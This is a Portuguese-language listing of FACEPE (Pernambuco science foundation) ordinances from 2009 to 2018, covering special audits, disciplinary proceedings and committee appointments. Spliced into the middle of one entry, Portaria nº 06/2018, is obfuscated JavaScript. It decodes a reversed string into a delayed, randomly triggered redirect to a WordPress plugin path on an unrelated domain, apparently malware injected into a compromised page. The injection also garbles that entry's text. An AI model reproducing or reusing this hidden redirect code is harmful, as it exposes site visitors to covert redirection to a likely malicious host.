Legislação


Portaria nº 017/2018 – Instaura 08 (oito) processos de Tomada de Contas Especiais e dá outras providências
Publicação: 3 de setembro de 2018

Portaria nº 016/2018 – Designa defensora dativa no Processo Administrativo Disciplinar nº 002/2018
Publicação: 31 de julho de 2018

Portaria nº 015/2018 – Determina a reabertura do Processo Administrativo nº 002/2018
Publicação: 12 de julho de 2018

Portaria nº 011/2018 – Determina a instauração de processo administrativo para apurar a denúncia sobre a irregularidade da acumulação de percepção da bolsa BFP-0131-2.12/14, com atividade remunerada, e nomeia comissão processante
Publicação: 2 de maio de 2018

Portaria nº 010/2018 – Determina a instauração de processo administrativo para apurar a denúncia sobre a irregularidade da acumulação de percepção da bolsa BFP-0089-4.03/12, com atividade remunerada e nomeia comissão processante.
Publicação: 2 de maio de 2018

Portaria nº 09/2018 – Determina a instauração de Processo Administrativo Disciplinar para apurar as possíveis faltas injustificadas ao serviço por parte de servidora da FACEPE
Publicação: 17 de abril de 2018

Portaria nº 08/2018 – Determina a instauração de 11 (onze) processos de Tomada de Contas Especial nos termos do art. 36 da Lei Estadual nº 12.600/2004 para apurar os fatos e responsabilidades quanto às inconformidades/ irregularidades identificadas nos processos de bolsas e auxílios financeiros relacionados
Publicação: 9 de abril de 2018

Portaria nº 07/2018 – Determina a instauração de processo administrativo para apurar denúncia da manifestação nº 2018/9724 no sistema da Ouvidoria do Estado e nomeia comissão processante.
Publicação: 19 de março de 2018

Portaria nº 06/2018 – Instaura comissão para dem$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andas de Cobrança Administrativa no âmbito da FACEPE.
Publicação: 7 de março de 2018

Portaria nº 05/2018-GAB – Delega competência à Diretora de Inovação da Facepe, Aronitta Rosemblatt, e ao Diretor Científico da Facepe, Paulo Roberto Freire Cunha, para firmar contratos de subvenção econômica e seus aditivos. Revoga a Portaria nº 34/2014.
Publicação: 27 de fevereiro de 2018

Portaria nº 01/2018 – Instaura Comissão de Sindicância para apurar conteúdo apresentado na CI nº 01/2018-UF
Publicação: 24 de janeiro de 2018

Portaria nº 026/2017 – Instaura Processo Administrativo para apurar a possível irregularidade de pagamento indevido ocorrido durante o período de percepção da bolsa BFP-0103-4.01/15
Publicação: 22 de novembro de 2017

Portaria nº 018/2017 – Determina a instauração de 03 (três) processos de Tomada de Contas Especial nos termos do art. 36 da Lei Estadual nº 12.600/2004 para apurar os fatos e responsabilidades quanto às inconformidades/ irregularidades identificadas nos processos de auxílios financeiros relacionados
Publicação: 16 de novembro de 2017

Portaria nº 025/2017 – Determina a instauração de processo de Tomada de Contas Especial e revoga a Portaria nº 024/2017
Publicação: 27 de outubro de 2017

Portaria nº 023/2017 – Constitui Comissão Patrimonial de Desfazimento – CPD no âmbito da FACEPE
Publicação: 6 de outubro de 2017

Portaria nº 017/2017 – Delegar poderes à Diretora de Gestão Administrativa e Financeira da FACEPE, Ana Rosa de Andrade Lima Leal, para assinatura eletrônica de fechamento de contratos de câmbio, junto ao Banco do Brasil.
Publicação: 24 de agosto de 2017

Portaria nº 016/2017 – Delega competência aos Diretores da Diretoria Executiva da FACEPE para baixar portarias e atos normativos relativos à área de sua competência, nos termos do art. 25, XII do Decreto nº 44.270, de 30 de março de 2017.
Publicação: 24 de agosto de 2017

Portaria nº 015/2017 – Nomeia membro da Comissão de Tomada de Contas Especiais da FACEPE
Publicação: 15 de agosto de 2017

Portaria nº 012/2017 – Determina a instauração de 18 (dezoito) processos de Tomada de Contas Especial nos termos do art. 36 da Lei Estadual nº 12.600/2004 para apurar os fatos e responsabilidades quanto às inconformidades/ irregularidades identificadas nos processos de auxílios financeiros relacionados
Publicação: 22 de junho de 2017

Portaria nº 011/2017 – Designa responsável pelo recebimento, análise e arquivamento de processos de Prestação de Contas
Publicação: 3 de junho de 2017

Portaria nº 010/2017 – Dispõe sobre a orientação normativa para processos em sede de Cobrança Administrativa e Tomada de Contas Especiais decorrentes de bolsas de estudo e pesquisa no âmbito da FACEPE.
Publicação: 19 de maio de 2017

Portaria nº 007/2017 – Designa comissão de Tomada de Contas Especiais
Publicação: 17 de março de 2017

Portaria nº 003/2017 – Constitui Comissão de Inventário de Bens Móveis da FACEPE
Publicação: 12 de janeiro de 2017

Portaria nº 028/2016 – Constitui Comissão de Avaliação de Desempenho em Estágio Probatório no âmbito da Fundação de Amparo à Ciência e Tecnologia do Estado de Pernambuco-FACEPE e designa seus membros
Publicação: 23 de dezembro de 2016

Portaria nº 027/2016 – Determina a instauração de 26 (vinte e seis) processos de Tomada de Contas Especial nos termos do art. 36 da Lei Estadual nº 12.600/2004 para apurar os fatos e responsabilidades quanto às inconformidades/irregularidades identificadas nos processos de auxílios financeiros relacionados
Publicação: 21 de dezembro de 2016

Instaura 09 (nove) processos de Tomada de Contas Especiais
Publicação: 25 de novembro de 2016

Portaria nº 020/2016 – Nomeia Presidente interina da Comissão de Tomada de Contas Especiais
Publicação: 8 de setembro de 2016

Portaria nº 016/2016 nomeia membros da Comissão de Tomada de Contas Especiais da FACEPE
Publicação: 19 de julho de 2016

Portaria nº 013 de 07 de junho de 2016 – Instaura processos de Tomada de Contas Especial e dá outras providências.
Publicação: 8 de junho de 2016

Portaria nº 010/2016 – Dispõe sobre a revogação da portaria 032/2015
Publicação: 21 de março de 2016

Portaria nº 033/2015 – Institui procedimentos administrativos internos referentes à tomada de contas especial no âmbito da FACEPE e dá outras providências
Publicação: 24 de fevereiro de 2016

Portaria nº 032/2015 – Instaura processo administrativo regular para constituição de crédito não tributário, designa Comissão Processante e dá outras providências
Publicação: 24 de fevereiro de 2016

Portaria nº 002/2016 – Dispõe sobre a composição da Comissão Permanente da Tomada de Contas Especial da FACEPE e outras providências
Publicação: 5 de fevereiro de 2016

Portaria nº 031/2015 – Instaura processos de Tomada de Contas Especial e dá outras providências
Publicação: 21 de dezembro de 2015

Portaria nº 029/2015 – Instaura Processo Administrativo para aplicação de penalidades, designa Comissão Processante e dá outras providências
Publicação: 10 de novembro de 2015

Portaria nº 028/2015 – Apura possíveis irregularidades no âmbito da execução de bolsas
Publicação: 16 de outubro de 2015

Portaria nº 027/2015 – Apura possíveis irregularidades no âmbito da execução de bolsas
Publicação: 16 de outubro de 2015

Portaria nº 025/2015 – Designa Comissão Processante e outras providências
Publicação: 13 de outubro de 2015

Portaria nº 025/2015 – Instaura Processo Administrativo Interno, designa Comissão Processante e dá outras providências
Publicação: 5 de outubro de 2015

Portaria 022/2015 – Dispõe sobre a composição da Comissão Permanente de Tomada de Contas Especial da Facepe e dá outras providências.
Publicação: 10 de setembro de 2015

Portaria nº 020 – Banco do Brasil
Publicação: 20 de agosto de 2015

PORTARIA 016/2015 – Institui Comissão Especial para realizar e processar os preparativos para a realização de cerimônia de premiação do “Prêmio Ricardo Ferreira – edição 2015”.
Publicação: 3 de junho de 2015

PORTARIA 015-2015 – Institui Comissão Eleitoral para realizar e processar eleição designada ao preenchimento das vagas de conselheiros representantes das áreas Ciências Humanas e Sociais e de Ciências Agrárias do Conselho Superior desta Fundação.
Publicação: 3 de junho de 2015

Portaria nº 011/2015 – Designa responsáveis pelo recebimento, análise e arquivamento de processos de prestação de contas
Publicação: 13 de maio de 2015

Portaria 010/2015 – Instaura Processo Administrativo Interno, designa comissão processante e dá outras providências
Publicação: 8 de abril de 2015

Portaria nº 09/2015 – Instaura Processos de Tomada de Contas Especial e dá outras providências
Publicação: 1 de abril de 2015

Portaria Facepe/GAB nº 008/2015 – Designa Gestor de Telemática perante à SAD
Publicação: 24 de março de 2015

Portaria Facepe/GAB nº 007/2015 – Designa ANA ROSA DE ANDRADE LIMA LEAL para representar a FACEPE como responsável pelo controle interno (primário)
Publicação: 12 de março de 2015

Portaria Facepe nº 04/2015 – Designa Gerenciador de Sistema na operação do Sistema do Processo Eletrônico do TCE
Publicação: 6 de fevereiro de 2015

Portaria 02/2015 – Dispõe sobre a renovação dos contratos temporários
Publicação: 5 de janeiro de 2015

Portaria Facepe/GAB nº 035/2014 – Delega competência à Coordenadora de Gestão para assinatura de Termos de Cessão de Bens
Publicação: 30 de outubro de 2014

Portaria Facepe/GAB nº 034/2014 – Delega competência às diretorias de Inovação e Científica da Facepe para assinatura de Contratos de Subvenção Econômica
Publicação: 22 de outubro de 2014

Portaria nº 031/2014 – GAB – Instaura Processos de Tomada de Contas Especial e dá outras providências
Publicação: 16 de outubro de 2014

Portaria Facepe/GAB nº 032/2014 – Institui Grupo de Trabalho para reestruturação do PITEC
Publicação: 26 de setembro de 2014

Portaria 15/2014 – Dispõe sobre a composição da Comissão Permanente de Tomada de Contas Especial da Facepe
Publicação: 1 de julho de 2014

Portaria Facepe 014/2014 – Designa os membros para constituir as Bancas Examinadoras responsáveis pela Avaliação Curricular dentro do Processo Seletivo Simplificado Facepe
Publicação: 9 de maio de 2014

Portaria Conjunta SAD/Facepe Nº 41 – (3ª Retificação – Íntegra)
Publicação: 10 de abril de 2014

Portaria 009/2014 – Instaura Processo Administrativo Interno, Designa Comissão Processante e dá outras providências – Biológicus
Publicação: 20 de março de 2014

Portaria 008/2014 – Institui Comissão Caso Bolsistas Fiocruz
Publicação: 20 de março de 2014

Portaria Conjunta SAD/Facepe Nº 29 – (2ª Retificação – ÍNTEGRA)
Publicação: 13 de março de 2014

Portaria SAD/Facepe nº 28 – Edital para seleção simplificada
Publicação: 11 de março de 2014

Portaria nº 004/2014 – Dispõe sobre a renovação dos Contratos Temporários para atender a situação de excepcional interesse público na Facepe
Publicação: 15 de janeiro de 2014

Portaria nº 003/2014 – Dispõe sobre a renovação dos Contratos Temporários para atender a situação de excepcional interesse público na Facepe
Publicação: 11 de janeiro de 2014

Portaria nº 029/2013 – Dispõe sobre a renovação dos Termos Aditivos da Fundação aos Contratos Temporários de Pessoal nº 0040/2011 e nº 0041/2011
Publicação: 20 de dezembro de 2013

Portaria nº 027/2013 – Dispõe sobre a renovação dos Termos Aditivos da Fundação aos Contratos Temporários de Pessoal nº 028/2010, nº 038/2011 e nº 039/2011
Publicação: 20 de dezembro de 2013

Portaria nº 024/2013-GAB – Dispõe sobre a composição da Comissão Permanente de Tomada de Contas Especial da Facepe e dá outras providências.
Publicação: 21 de novembro de 2013

Portaria SAD nº 1.617
Publicação: 13 de setembro de 2013

Portaria nº 011/2013-GAB – INSTAURA PROCESSOS DE TOMADA DE CONTAS ESPECIAL e dá outras providências.
Publicação: 22 de maio de 2013

Portaria 030/2012-GAB – Designa a AUTORIDADE de MONITORAMENTO de que trata o inciso VIII, artigo 4º di Decreto Estadual 38.787, de 30 de outubro de 2012.
Publicação: 29 de novembro de 2012

Portaria 029/2012-GAB – Designa a AUTORIDADE CLASSIFICADORA DELEGADA de que trata o inciso VI, artigo 4º do Decreto Estadual 38.787, de 30 de outubro de 2012.
Publicação: 29 de novembro de 2012

Portaria 028/2012-GAB – Designa a AUTORIDADE ADMINISTRATIVA de que trata o inciso VI, artigo 4º do Decreto Estadual 38.787, de 30 de outubro de 2012.
Publicação: 29 de novembro de 2012

Portaria 027/2012-GAB – INSTITUI PROCEDIMENTOS ADMINISTRATIVOS INTERNOS REFERENTES À TOMADA DE CONTAS ESPECIAL NO ÂMBITO DA FACEPE E DÁ OUTRAS PROVIDÊNCIAS.
Publicação: 20 de novembro de 2012

Portaria 026/2012-GAB – INSTAURA PROCESSOS DE TOMADA DE CONTAS ESPECIAL e dá outras providências
Publicação: 20 de novembro de 2012

Portaria 024/2012-GAB – Designa servidores para acompanhar e fiscalizar a execução dos contratos administrativos vigentes, firmados por esta Fundação.
Publicação: 15 de outubro de 2012

Portaria 022/2012-GAB – INSTAURA PROCESSO DE TOMADA DE CONTAS ESPECIAL e dá outras providências.
Publicação: 22 de setembro de 2012

Portaria 014/2012 – INSTAURA PROCESSO ADMINISTRATIVO – EMPRESA ÉTICA, e dá outras providências.
Publicação: 29 de maio de 2012

Portaria 013/2012 – INSTAURA PROCESSOS DE TOMADA DE CONTAS ESPECIAL e dá outras providências.
Publicação: 25 de maio de 2012

Portaria 007/2012 – Dispõe sobre a composição da Comissão Permanente de Licitação da Fundação de Amparo à Ciência e Tecnologia – FACEPE e dá outras providências.
Publicação: 1 de abril de 2012

Portaria 005/2012 – Instaura processo de Tomada de Contas Especial para apurar os fatos e responsabilidades quanto à denúncia de furto de bens da Facepe.
Publicação: 3 de março de 2012

Portaria 003/2012 – Instaura 127 (cento e vinte e sete) processos de Tomada de Contas Especial – MARÇO.
Publicação: 1 de março de 2012

Portaria 002/2012 – Revoga o art. 2º da Portaria nº 027/2011 – GAB, de 04 de outubro de 2011 e dispõe sobre a composição da Comissão Permanente de Tomada de Contas Especial da Fundação de Amparo à Ciência e Tecnologia – FACEPE.
Publicação: 1 de março de 2012

Portaria 28/2011 – Instaura 26 (vinte e seis) processos de Tomada de Contas Especial – OUTUBRO.
Publicação: 15 de novembro de 2011

Portaria 23/2011 – Instaura 37 (trinta e sete) processos de Tomada de Contas Especial – SETEMBRO.
Publicação: 14 de setembro de 2011

Portaria 15/2011 – Instaura 49 (quarenta e nove) processos de Tomada de Contas Especial – AGOSTO.
Publicação: 15 de agosto de 2011

Portaria 09/2009 – Designa os membros para constituir as Bancas Examinadoras responsáveis pela Entrevista Técnica e Avaliação Curricular dentro do Processo Seletivo Simplificado Facepe.
Publicação: 29 de outubro de 2009